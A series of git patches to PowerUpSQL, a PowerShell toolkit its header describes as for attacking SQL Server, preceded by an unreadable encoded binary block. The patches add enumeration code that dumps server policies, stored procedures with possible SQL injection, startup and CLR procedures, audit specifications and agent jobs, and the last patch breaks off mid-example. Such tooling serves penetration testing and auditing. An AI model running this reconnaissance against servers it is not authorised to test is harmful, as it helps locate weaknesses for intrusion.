zGME|bBRd4Z!SxW*7)wfdi13e_Mk@3ekOsXf;{1>~a+auEG81paOQFDt583pC|pR9N~*F8!;m$JECCl?8#B{$%F1w4?!u1Nk{#mizj%h6KPVlUxHrKXv(ZVH0DD^PME{lruRq% z;v1wVv&i)8xA8-*9Xzpi77cH#LQe$SE@^M@IMGp;6$Jy>@N>V2u|iVH?rbDj<#)5O zkwCNiZgVEliGGAWHwBDfuQLTlY-qVkC=HWz;HySW8=>`{6k0~e`a+;&;R+lnknPh#$XT$caU#5DZCL3Bi< zhpppsZw1;s%>|l#QEB08ANE88cG^nsyq82=$?oeYNgZVQ`7`qz)UzWvfMK}S8Agf3 zty`uMbmLep-$G0)C43-?&-`hE1gBXeOcDZqavRWaJwLM}(>AHw!9Udp74^104;zR6 zuN%GEoCEhV%hP>zZ7SV+5+u+mA`>`pu=sOhAJ~gi&m*9HVG+bz5aBz?JHOV5_h9<{ zG#qtW5*DIt=y=*Rd0J!selV$2Ooelizlu<$%lTPKAReHVt!d@9?_m^nAI5bE@@Eyj zH>mL3&f|x?rN^|nG5=M%$SL6i&=EwlipUj=BmM4ze+wWL+4Iv(kX9WdhN9*^J}(Bo zL|&caa7&+}x?gI=!>z&#-2tpBxLNKE@vsRpq$9|g46CdgI6EjfP0E@|%iWl+XBV0` z!boYZ|7_eWnRFlKJRLg6cuVgd^QCKRV}=lw#43c7=hdUp2K3JbJ)UER^T)u#W;edW z7VAO6s6NFdrSiY zIYxA9)^!qlI7na$Ec6ni4E<7b}MaMZ`oCzc;BG33LRhe z@$oqXN?f{D!#^oMxqX%Y+l}#&)?ZwXZjJEcy(mWFC|I%()95U@lp(k-fyJ0)3Kmzq zqEPJcw&YgXsf6`lf>8uP#Ee_VNeOmG@A-scdcKC#VGkP1{Ne`Y?~iY2x)H&ubMU8Y zU3|V2Fvp#7HIXDC`B{RWN6`>TNS;^$k#ARWnpB%DU7XqxTCV@qoA}6ct!5hO5oI{$VjMvE>_#+J*(@ zcaIF?=hqT8OWs9k0^l;|c??Z6Vz}T9ax(kj((&;z;IR5K1Me-2MY26KU<`$)`U7AP zSwsPIrOkS9hTv|J{U~YPDLcrGEnt=G z-@z)C9^W-}|0H$5S-ZDALw1gwEZuDtCE-Mjr!Qo%yffqv9!XbY(*sO#470Yt1od?U z2K5VZTy52?@@GJMi2NK~jq@Unz#LtQF0&3J9f$8N2*z3Eo7FB2CL)5qMF!-GxV$Oe zbmgt25I$hZs+odGa$ha3Z}BOmz(z^PmD3;P?tV>i$_A(C4~8@?XVeYX!ZG3EsDu+a z(^9+6u49J!OFV`W3<8eUH`^vz6NcVRt6<+MDGN4%Tp0*yje7H7j|QrEF*i0v^Df~MkBx$io+I~RZ;r;!4+}tIc4#& zpR=bH`$MK0Qrxm@LQvvl%Mkc!wP`&kci?5JLzLWtjz7~Z=QG-g?;1r|0S+Bp#*aJU zyi=gi2ol=a%%}VIl=R$JA%8+9@^V}+o6whmfJeF))9f47kW z_w?7(7MScio5yUWs89Z6LQ%NuL_OLP7?U7RS}L^T z^d++#w5F#33!0tJl6VDq!^q3%D@#8=$g*tF_}RqI+<%2_pjTA1WsIvqaLEE80-h>g z-j|;sYLN4{TPq)&W({p4;X<@jZH}f%cRF95J7A;W$oQs8W#uC? z`B^Oa-pSw?#B?~swiW1cDm=Ks=;8>AQEfS{m2GvN%4}2z{d2`zKo&V~{iBd;W(lZF zdZ(*eoHHxyj<1A#(qNv*dP6b%(+PVOVR5)9eS0#EB3!;+rBNyI4$#|C$4pxI^r>5v)SF< zcl5SC=1H1VOTJ%xZxnxr=DzzWo;OT8j6w2LLa(XqKl!*Os$4*F|X)QRj3jU zrSvQ;y>p>l@71p_IS*2F`r-0k9F@37EI4j@8k@qaf-;2tGf`h6U;t^CZdCfX|I^c9 z8^Up9bMnqqVOlTsYNYn|BW;7)w?0KTl;?)a&C^k{JN1K`wc#&Riw2L{@RrJTmWwXFsj#8=00{@SGJ+ z4MSon@>wSFAKD~2?!1t)%1+@b($Lva7^+q_A07iCu(c4R1A9ATV!}31PKXUb#bmsr zpTB;yX!$)3v{W(*hN99HqOYsUJmb#3nty%P{fZE;W~y^44ch}!F(|P}V0me%35k-7 zl`aL-RHkDjp+^DPB5u|pjhpMP%6~=a4`cdogEr9T_`-ag);8#%KjD(B^%?nmuC6ID zy$fqMnLk{amu*k~-cWFCi{0>M;SH1oI15sqGD)V~r3hhc`U@_6Toj{g=TyUX3cAtg zB3)3*(W<>40{Z!F@Ot8QIQ|-s)~VdZ+NLUPpL9D;Vw_h_T`Z^OB`j~sy$GbyfOoPU6W zQ6jhsII(-c@MmZLK=YVXLm>h3{!8X1BZLIqt1|~|xuZdkC9paLWuv@P;_|a>ET^0! zvUrYEWkCu|wn**wvyfJs=}JqyyvX#K@APxsuTh1zm@}y$Bi2Ua+BW*%#WKMounB;B zDND}rm^#gZ+&)3cwg=jhzTt)v8+7vY@vtjE4QkNu4pENl$e*@8 z1z)ADuwG1JVGYdBb_G-%koh^C?~*8WCZ*(pnrugBWqClz?RGlWpNd1F%BdHo-eZh} zF>&BrDdjqxoDy~Wvi-hk&f}NZ_5Lf7+;~Rsh|u|J2xh_8i8RnlrstI1 zfB>er54R-}wF0&#tc=Vak6-A9X$hqgUrCYg9|H;l=bB5s!h#3=ac z>uFjj^fcPJ7F2Ou-__-Br>BPFTU<(Ym8Wc!dvlD+pg3`1We>p<6*C5zNE$zJ=RFcU zh0^xsvQ!8{`bKFI*4mS=g6Aq)7?bL7uF_U|whn4E^o7sP!+JBle4QgheyRx7rc1Q zC1`YXyen|zlkll8n~o>{!jDLHO~nzk>mM&VUzd%POg_6~xm5H*7uAnw0V#N$3LqzF z3>~L%qECwzSwEx7ed^WYLhJ6ztEmhfAc2H=E_%Zl9l+;BT-RTAhOCH;_&rza@Dw)l zyfav;47Z4j={8^v{h6F(zrKoVGcs}uRK%RNChRduWvFLTU0WX#UL)ruN9*-f-jYvS zjpnJBQJ;YJvO8huGV8Ve#@?Q4P$w|@-hAl&hxtq0a8x8{4)nXid>(lD_+1K%@oRf{ z^G3}qzlcfd@yjifbN8j5Y^n>y_O#h&liuPA$Xhd6Rwj!xcjpkIG9n=FU}a)Hn7m~M z!r?*Y`8^UO<9dDm+i!6kn(2QSR@)u4C!aIs<+7f&YytA87J6&pdu0?3TI=O)ECsMR6DdUYRS065xn=NMX>(QK%Ud({!$2(l=-8Pss8td`< zz&93tawHWGv4o5ayk}0cO{zf@n#y)gr^}F6JYkbagpHocf(acI9Z;fnYsD! zQ*#K2xTM-=b)VVxE1^BU1|BRV)xot5wZ*$zVDfsePpsLAuBN6qQ(`;(NU}lX(E>3U z^G(Qd%xShj=-oLYn{sxiw)RLDsvIgj@!>8ZLnn0|s!%UPV6<7@(W&NOGevR?sOzi7 zKt!CEpjD4^cqRY;yiUwL*Z&G)D!Z!^`831|L7H-S$gsfH$ItT{q`=ifTXC>Ix-8L_ z^Xvut(Lu*HZN)Bg1CqyR`Oy=gdwC0-G;Qg;`l^@Nc=T8*OGF}n)i&+-DOajTVXTPa zJlBEk9b{kV^ru_XTHenzNv53ZFEM!{(@K;p3!P@j7?YXg0u0(OJ4W34YoCa=x0xb= zwju%QQF=5{dMr_T>7+{Cxo#sV+NaMcD4q-NgcV0fNIWnYOj3#uMKT2&6@bHZQ>kpx zk}>PZwb}Z4kwslL`MaEBYs*U4t(eRqs@LnpX+I~FdScaX+W*8u) zfb68)6rz}dMFxt*E3(;vvr#r4)|O0z%wdV2_4^JVJ!phY(MQmq z<{0ppymHYEr2_6Ppq28}iu@=VsSQ$Z1!;d$-Q&)J22K}?Uo8J-bNoR@zOeU0g)qhD zg9r&oS?*;Je2ky#{wCz$T{u6}$;IxEpk)ymC{ukzxB{~S3}e6Vl4Qu0X{ zhPn)yP7Ko@ZDcf-KcTfDtg*TuP&09~nR*PrQVOa<=cFB-=K)-j0w9o+TE8_n6jk(5lk;%nQsX_n-yFYuS&7`G2lo&Kw z8Z5_LBqGdl8q%8jhPD+Yc@QtbQDUjbXl9Go8?xRwnfF0RewJ*`1DY%F%y{F7UziOx zza+Z;wT_-g46}~9n1_7ztqGoweS^d?I~Q8c*)`m2mpQZ~3p0!OY2U`6H%)Gpxv)F_ z3tAVn;7s`nU~Yi*;L)$`ToqLWr>-ynaishI9-y}tp>a{Ggc6jDku#v;oXmHwz`AeJNH#`7!L0PV23uz8Alyu-{6sauMG93`T3`-F6|~wk5ZH@ z2 z{|369XE{Y#uJyjFZv4Sp(g~&&<75FQH1L$C*BM4YhP{-;!I zpAFJq1H8)i(ei5-&YYhPq+ZrQ?)fXcbHA;vc3R>oLkq&l>F>9e^X-gIC^X})HrLf3CAGuzWgojy2? zJFm|U-8Lz0pP!OBCu=LDCK1#+R^DRsv6*ykUN)@a8i_kNn8vD1B6z+ayR(@{fC=XEcSF#@JQ2m`%#0au`i%1)j$BZL)7< zme|Y)kwjH?kLR{IgU`XYj5g3hQ8#sBW!(b{2?iXRR~i>-j=F8MOA-Z?!ylFsZ4}^A zI%oMsY?qUzGHqn%7-cz?%J-qzT)FV7b;8gDp;gD!b>1X_=i)5#nx_?V_>!ej-t7Wb zhl>*(#CBm?9F*%ackd*0?Pf;QuYWRo-_+MAuO<#;m)Iulu$(S}{XfltGAC6_0#YJ< zrr@TrgM@&|e;I5~B=6-9gvfCUL?{$CJxgSZmh2HN1xZ#IXLM`oo!@T|_qvTDIA)-i zA_j%^#q^@#76tD?-VB(@YqDJ)ZrIU4zm3z^dw&hWX7#`q__KP@d%hhCy>GF1r7DxN~uj4jon_T&Lh zhEU8|v$?p-t+O??93lJil+@d_{ioa++`CzoWgogZr#<|4`Rwb$5?H;OnuMe$KNE=? z)Eb0|8o!b_yj7bf*{m3HWVJ*--?m`OYPE`rh9o1@j&x$J;v+7KaO4 zZtgj*cBOoYyz8CA<3j%&1pCW(a1gO zw)mF&%7(#uS5h3S8g;$5PJGvvgWamCRVXldg=nH6E;^Mytp_EdhtrEp?Li5PiBX`@ zMvye24gVOot7q03mRs1y;B0hzw7(uz-y*At?1k+<9KYuAz-|v*;5X;Dd#l8UM{fMM z@%Cr++n;zJyFKP##VQ3s5&gk|9HGg-EDuQE;}@lE#EL`F?#US=4DnB0=*wcPjA4gc zPoCxd`M0g;1YP6DEgqMYK=eK zHbe0Dl@|jueNArnW#<-TS!YSy(QOLGy<_-qem_?NLIj2)2h`s#x~~rCR5fW!H#=4x+B(=W*4_}1yQdvEI|vjbkqDL6&>^!&~Bzo?;#;!e6j^!y}aW& zzKZv%UQ&?4D)MGu?bl3TE_`{FA2JuWsGShD`9&P8r}N`Azt47E)6zOzt^>pRH;^Lt zU;Hge>t}xy^)Dp2KUh^oGVU@>%cXmw|Ga-m9wFW!4o!JBU{3*C1CI2&B-(f z{&e^jsBik51zgbh6M7Mc_cJNLLkYwm-9dPegfkJk#S*vk>3sdOM^?A4b}=sx`1jV) z!``0%So4$8Wlgz;-TVg+At8H>2M6`I*d1k9vwB{Ijf}d@CVWo#!Ytl<|A~%}zI2*l z!sDfZs51Hwx7xP7iX#&oQ2RT{G1|oqe!F2qxZvR&!^ug{UcN)?z+8W(#?-r3S5D1h zx$)1#HH3!DtkT+?P4EJuOPe2it|E)xy8Pk3Uczcjk;A+|yTxSM5Qk$ArmrJ*!XDEM zJd%+|7{!Shq(w_UHsTY%c-Bfg%%nylzQO#gU#tFuM}M_sQAlHh^_#e7&zx4HGPmX< znaZP9U*>eTI-}!E_`fJkYT^^7=2Yi}$IuNBGoXJk^m!quAxG&5@b1r!vo=z&$Hbol z@3QTaYU*Sq3Tevt?3i|x`%~CznoU>77)@)2!ad*|ZY0N}ugTAv^65KYx}#?Q)ifW2 z91(}`qkH_$xcLJ8zW?yI!hu64Km3?{emrOfkP`cptv>QHfVc>??d~H@-LwW;Wk46w zmGrSwz%QcK!dkLz+!eOku@z2<5?N+}U`!P0%&p!V#X7P)-Q<%$cmnYRG=W>7qb4GD zOByRrBjtI1_37i#A~8qYKR>y$MR4k5gwKvj!7a}jvVIJCHUJnJ>*xkf}s0p~_@PXh-} zO|G%xqwcBO8_+cL1m*}S&;+AvXqV=I={t9T34j87g9Fcd$QHTM(OY& z6zP%R?&>-TEbHk9t7D*Ae&<3NIdwB#DFcufNvAJ{a(o#V;lZnDumQ5#L!Dd8<5TVq zt2DNneX0im(z?LW;tAcV2~S>>eg{%y#Qr*D%rXtAmz{ur)0^gc!lu3Nhd_-r?bQ$S zhT^&wVv|y{z|mF;yq5Y~zYVrIbNm=*1bbq{3@kIn#nR4QO1WNihx4)13QW?lGLgHNBp94Q%eb&-WfS5ob^<5pjU^KpKu z`!sJT@JQvg{l|Gjx?kIAm-kLFc6Bcn+iu0XXEc<7AMu$l!Bc!cMsIN$vUQqV=l^gU zk!!DRW$c?O{qf))eWjh}o{?z=y!6~iwU@0McxM*vN}^JKAxfrta9uC_#JtMRpKIK< zZt+*m^9nL0EBqJeV7*uTs=VTJy(gNp52P4gBUk!;*Do6-Uq6N;g*v=WLde2L;hg9h@kSKi z(}dw`PLzGCzzCn89BTfbYztU&*nZ(dmnMX`_lhjqh!;Eo#RI5e%l1WCpmO6T=d%i zC#eip^F;tHLXgY_*ByGZXl&);@rZ# z%a`=)6Zuv&EywYI!0|m1XXJ(xt%CuyRN7cJ{ZAmw#*3OE$B%^YOKlB!s`l08Ce^C` zAo);&1ruwQTk0PSTI7Lx=m-GDlRhkwv zaJlZX{|ED&r)aTRT?^FS_8mpx6{l0-HXynZ9216(@pDBy5^H|V-e{76Zs}|UFN_z- z(BzsKm!6QuwACsS`k-}KuzUlI+yacG&1`(Y@)1*?D{_`J0OOAlBVLIsxUbK;bif=xeR@`tMHDIu{bnn>n)AD#^(#pNCFCTO(~xt z{#yB&$dOTt@-zJ@3+OFDk>rs_J@i2Cpjy;DbdWNlvT31X2liB;t?&2aeKhDLF3yGC z8mn+c*Co(eDl@HBNDkH_C2zyT>Kjmg`B*Kia5UVfT`NCEfEGcfRe=7Bxitc!N9E|C zy#{?0K2pkgC|zZrYVzlwe`cJ8TFv-dr7;7?MVBeUv|KnZBH)z1)8ewy0tf)Z0Oklu zW?nsymhuBfnGOTpFZ&vRsVH2kMCF-leu_U@K9My)I~+|h)XI-@ zp@D|*EHjR+`B{a4nGwI5RH7no7Zxkt;F_Pa>RS16I$8=Nrv_vn#$b{te+4mD!!Xca z!LRhH-|#jiAmDPZ`7y}96nfni8%vaZfO$1LjcFaTUMi^8oqtuAw=Xi)-s4SJ;G=TUwMnycp#Rems!vV#tDA97`iq-nt=YzSZ5 zIgaN(_?Um=!k9S{^DrT~j*qTFHqg+!$L6?2jkAe?=C5n~Y0g zOiF^aNDvnZ?!x%rcoaBzx#x{rJX|Lu{R)I&?!#&s-l>HAW#S;ayU=whph~EO5E?!=688#) z?;0x=AdG6-98mmoxO&v)S-`bG!5FOqM3~mX8Mpm2*?s5%i!jLEV}m!?f*Dq0+{Zjc z9$&a%$v{HVt z?1=KC7U`NkrVOp9LN(^rW6EzH1WuaMm-6$g-r5#(j}O8gdB>qIRm-gWP}^2-z>JjR zda4`Ux2yc{MXv!Lm3@#PczA5eZ;%vR;KJB3BE`5AXI9A-E)3Q^h+W%_3qv{~Yiz9o zz{`?+p@q@e%8!h-eYljy3wtkPYk~c<_|rRD{8jcrNxqPvER0nu4%NpP?&{M)o&?y~ z*tlM5hRO5a5(XnTNm!>6@|Rg7m2Ow`{O|NDx3%&^wY2C_)~Ihpo%fgJuVppaU6cw6 z9!=0do(PSF*g^wo17#|fP0EkrtRqt8=N?$E;F$8G*5x$2$`3RQFf!&|jq-EN&lWRk z!Wm#5E(>PI?d7XA@o=iW34({mru^>0C7C;&mR>U>($FL==>r|EuI(CQmyYsf;{ie0 z(31aF0Z;%9-FIlsPuWxoYS6l>)z#b?a_o8;)=WBY@1@MLPtE7!Y~2?%pAd?Tv1-s- zbYw5ceYvr*@lbGbQ6kWB?f~WvWJGD6C_gFyP$keh3a>ro=aX54%Ubj(?^@^Cf!@{d z5kF1~swhAMdtY{N~P{M_nDXa`Sno108MJcq<2Z&E9OGO$czG6G3F2%iXD>)-;Irp)5AO! zvb9QGD77;(oz_xdSwQZfJP;y?5)}{3$}d``P~V{K?9s-)z^)@&)omPDpt!`n={tP3jd3W(r=e>M`%>oq#>U1qQ`wmuv=5}J zCC;|>1f4Dmhz~&V(6;hZrU=4iPxL7JT-c*+c)7RcXWJ-)q)!BBAXOK1?Es52HCUFGUk+Pu@npD#qA<)9}$12z^44p zOD^3CFRk>ImcI6OHZBG7DkWi3eq9I0WV6AZP5lMCP-UIfFfebwPAZH{*7} zI4~@>2A&X{#;pOov9WQQ)J&48q>9{NufC-s)ZhFo!82H|`O%_aTJ%KS6bE0@BKy|6 zn$|;Tpqy!0^Ru1HSIjNqMinK!)6Mw2!o5(#kja!msM0>52Ie%ogP`(rC>#Ws2La;P zA@YvZ(_Z|w)n8ZsTKVC1*JQvvy~beB{`Ots=V`Dhzl|G4(x{m8YKHBN8F)j94@G=i zk#X7B*tlIJ!>gdBBCHf)q{orl-MJ5Sn|XljUg6Osrzu+K0QR(DF?S(uOdQ;JHXaJ* zL4cfocMu@vo_WtdGr!XhLXK6;&T`(N>a~hSCk402bCYpHtWKJlf#`){zA+> zxAL3GCyN|zBh#!?Z#xMo$COtT7*_g@C;hAM9A#IE~VZczyA7b z-cfjv?uf_F`3emvIW)u{hJj{ZI*voT51v;`L<=Dn7kW`{9c6xJ9B2k*G$y+CQ zGi`RS@Mz-uIin1lcFB%~Y<*yIxW(UY8(wOg#N6Y9a0dD0;;iH}D`qq3`*PlRy8Qd! Z{|` Date: Thu, 14 Sep 2017 15:05:23 -0500 Subject: [PATCH 102/145] Create Get-SQLPolicies.sql --- templates/tsql/Get-SQLPolicies.sql | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 templates/tsql/Get-SQLPolicies.sql diff --git a/templates/tsql/Get-SQLPolicies.sql b/templates/tsql/Get-SQLPolicies.sql new file mode 100644 index 0000000..1109d20 --- /dev/null +++ b/templates/tsql/Get-SQLPolicies.sql @@ -0,0 +1,28 @@ + +/* + Script: Get-SQLPolicies.sql + Description: List the SQL Server management policies in place. + Author: Scott Sutherland, 2017 +*/ + +SELECT p.policy_id, + p.name as [PolicyName], + p.condition_id, + c.name as [ConditionName], + c.facet, + c.expression as [ConditionExpression], + p.root_condition_id, + p.is_enabled, + p.date_created, + p.date_modified, + p.description, + p.created_by, + p.is_system, + t.target_set_id, + t.TYPE, + t.type_skeleton +FROM msdb.dbo.syspolicy_policies p +INNER JOIN syspolicy_conditions c + ON p.condition_id = c.condition_id +INNER JOIN msdb.dbo.syspolicy_target_sets t + ON t.object_set_id = p.object_set_id From 18dc8d98e759c5e2674ab37a86aa01405994793b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 20:49:55 -0500 Subject: [PATCH 103/145] Update Invoke-SQLDumpInfo Update Invoke-SQLDumpInfo to include clr sp, startup sp, sqli sp, agent jobs, database audit specifications, and server audit specifications. --- PowerUpSQL.ps1 | 90 ++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 87 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 3be7bc0..03038f6 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.101 + Version: 1.84.102 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -22177,12 +22177,54 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting potential SQLi Stored Procedures + Write-Verbose -Message "$Instance - Getting stored procedures with potential SQL Injection..." + $Results = Get-SQLStoredProcedureSQLi -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_sqli.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_sqli.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting startup Stored Procedures + Write-Verbose -Message "$Instance - Getting startup stored procedures..." + $Results = Get-SQLStoredProcedureAutoExec -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_startup.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_startup.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting CLR Stored Procedures + Write-Verbose -Message "$Instance - Getting CLR stored procedures..." + $Results = Get-SQLStoredProcedureCLR -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedur_CLR.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_CLR_stored_procedure_CLR.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -22228,6 +22270,48 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Audit Database Specification Information + Write-Verbose -Message "$Instance - Getting Database audit specification information..." + $Results = Get-SQLAuditDatabaseSpec -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Audit_Database_Specifications.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Audit_Database_Specifications.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Audit Server Specification Information + Write-Verbose -Message "$Instance - Getting Server audit specification information..." + $Results = Get-SQLAuditServerSpec -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Audit__Server_Specifications.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Audit_Server_Specifications.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Agent Jobs Information + Write-Verbose -Message "$Instance - Getting Agent Jobs information..." + $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Job.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Jobs.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + Write-Verbose -Message "$Instance - END" } From d3bc7d76b98842c0050db97aa907521e9fd3b91e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 21:06:52 -0500 Subject: [PATCH 104/145] Add Get-SQLServerPolicy Add Get-SQLServerPolicy --- PowerUpSQL.ps1 | 172 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 171 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 03038f6..36529b4 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.102 + Version: 1.84.103 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13730,6 +13730,176 @@ Function Get-SQLRecoverPwAutoLogon } +# ---------------------------------- +# Get-SQLServerPolicy +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLServerPolicy +{ + <# + .SYNOPSIS + Returns policy information related to policy based management. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .EXAMPLE + PS C:\>Get-SQLServerPolicy -Instance SQLServer1\STANDARDDEV2014 + + policy_id : 17 + PolicyName : WatchAllTheThings + condition_id : 18 + ConditionName : DatCheck + facet : Login + ConditionExpression : + Bool + EQ + 2 + + DateTime + DateLastModified + + + DateTime + DateTime + DateTime + 1 + + String + System.String + 2017-09-14T00:00:00.0000000 + + + + root_condition_id : + is_enabled : False + date_created : 9/14/2017 9:01:11 PM + date_modified : + description : Watch all the things. + created_by : sa + is_system : False + target_set_id : 17 + TYPE : LOGIN + type_skeleton : Server/Login + + .EXAMPLE + PS C:\> Get-SQLInstanceLocal |Get-SQLServerPolicy -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblPolicyInfo = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Define Query + $Query = " -- Get-SQLServerPolicy.sql + SELECT p.policy_id, + p.name as [PolicyName], + p.condition_id, + c.name as [ConditionName], + c.facet, + c.expression as [ConditionExpression], + p.root_condition_id, + p.is_enabled, + p.date_created, + p.date_modified, + p.description, + p.created_by, + p.is_system, + t.target_set_id, + t.TYPE, + t.type_skeleton + FROM msdb.dbo.syspolicy_policies p + INNER JOIN msdb.dbo.syspolicy_conditions c + ON p.condition_id = c.condition_id + INNER JOIN msdb.dbo.syspolicy_target_sets t + ON t.object_set_id = p.object_set_id" + + # Execute Query + $TblPolicyInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append as needed + $TblPolicyInfo = $TblPolicyInfo + $TblPolicyInfoTemp + } + + End + { + # Count + $PolNum = $TblPolicyInfo.Count + if($PolNum -eq 0){ + + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : No policies found." + } + } + + # Return data + $TblPolicyInfo + } +} + + # ---------------------------------- # Get-SQLServerPasswordHash # ---------------------------------- From ef72611c3e879ad2515d2092fcf38dd477977f75 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 21:07:47 -0500 Subject: [PATCH 105/145] Update Version Update Version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index e28acbb..2d026c2 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.101' + ModuleVersion = '1.84.103' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 1371c8937dfcc09aadb6ec289749edae61d9af15 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 22:12:17 -0500 Subject: [PATCH 106/145] Add computer and instance fields --- PowerUpSQL.ps1 | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 36529b4..be791e6 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.103 + Version: 1.84.104 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13750,6 +13750,8 @@ Function Get-SQLServerPolicy .EXAMPLE PS C:\>Get-SQLServerPolicy -Instance 